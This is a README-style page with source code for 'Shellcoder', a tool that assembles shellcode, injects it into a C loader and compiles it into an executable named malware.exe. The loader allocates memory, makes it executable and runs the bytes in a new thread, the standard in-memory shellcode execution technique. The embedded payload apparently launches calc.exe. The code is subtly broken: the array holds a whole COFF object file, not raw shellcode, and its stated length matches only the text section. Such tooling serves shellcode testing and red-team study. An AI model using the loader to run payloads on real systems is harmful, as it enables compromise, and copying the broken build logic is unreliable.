Write your shellcode in Assembly and execute it with one command!

This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command!

Shellcoder most probably should be used on Windows because of the MSVC requirement.

- Python 3

- NASM (Netwide Assembler)

- Visual Studio 2022

#include <windows.h>

void main() {

void* exec;

BOOL rv;

HANDLE th;

DWORD oldprotect = 0;

// Shellcode

unsigned char payload[] = ":PAYLOAD:";

unsigned int payload_len = 205;

exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

RtlMoveMemory(exec, payload, payload_len);

rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);

th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);

WaitForSingleObject(th, -1);

}

#include <windows.h>

void main() {

void* exec;

BOOL rv;

HANDLE th;

DWORD oldprotect = 0;

// Shellcode

unsigned char payload[] = "\x64\x86\x1\x0\xce\x8b\x9a\x66\x9\x1\x0\x0\xa\x0\x0\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\xcd\x0\x0\x0\x3c\x0\x0\x0\x9\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x20\x0\x50\x60\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x1\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x8\x8b\x14\xb\x4c\x1\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x1\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x1\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x1\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\xc\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x1\xc7\x48\x89\xd6\xf3\xa6\x74\x5\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x4\x44\x41\x8b\x4\x82\x4c\x1\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x7\x48\xb8\xf\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x8\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x2e\x66\x69\x6c\x65\x0\x0\x0\x0\x0\x0\x0\xfe\xff\x0\x0\x67\x1\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2e\x61\x73\x6d\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x3\x1\xcd\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2e\x61\x62\x73\x6f\x6c\x75\x74\x0\x0\x0\x0\xff\xff\x0\x0\x3\x0\x0\x0\x0\x0\x4\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x69\x6e\x63\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x0\x0\x0\x0\xf\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x61\x70\x69\x73\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x1b\x0\x0\x0\x67\x65\x74\x61\x70\x69\x61\x64\x64\x72\x0\x72\x65\x73\x6f\x6c\x76\x65\x61\x64\x64\x72\x0";

unsigned int payload_len = 205;

exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

RtlMoveMemory(exec, payload, payload_len);

rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);

th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);

WaitForSingleObject(th, -1);

}

import subprocess

import os

import sys

OUT_DIR = "out"

SHELLCODE_INPUT_FILE = "shellcode.asm"

SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin"

LOADER_INPUT_FILE = "loader.c"

LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c"

PAYLOAD_STRING = ":PAYLOAD:"

BINARY_OUTPUT_FILE = f"{OUT_DIR}\\malware.exe"

MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat"

def is_cmd_available(cmd: str):

try:

subprocess.call(cmd, text=True)

except FileNotFoundError:

return False

return True

def assert_cmd(cmd: str):

if (is_cmd_available(cmd)):

return

print(f"[!] command not found: {cmd}", file=sys.stderr)

sys.exit(-1)

if __name__ == "__main__":

# Check if NASM is available

assert_cmd("nasm")

# Prepare output directory

os.makedirs(OUT_DIR, exist_ok=True)

# Compile Assembly

subprocess.run(

["nasm", "-f", "win64", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True

)

print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}")

# Prepare C array with shellcode payload

payload = ""

with open(SHELLCODE_OUTPUT_FILE, "rb") as f:

bytes = bytearray(f.read())

size = len(bytes)

for byte in bytes:

payload += "\\" + hex(byte).lstrip("0")

print(f"[+] Payload size: {size} bytes")

# Inject payload into loader source code

with open(LOADER_INPUT_FILE, "r") as f:

loader = f.read()

loader = loader.replace(PAYLOAD_STRING, payload)

with open(LOADER_OUTPUT_FILE, "w") as f:

f.write(loader)

print(f"[+] {LOADER_INPUT_FILE} -> {LOADER_OUTPUT_FILE}")

# Compile final binary

print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n")

cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"'

proc = subprocess.run(cmd, check=True, text=True)

print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")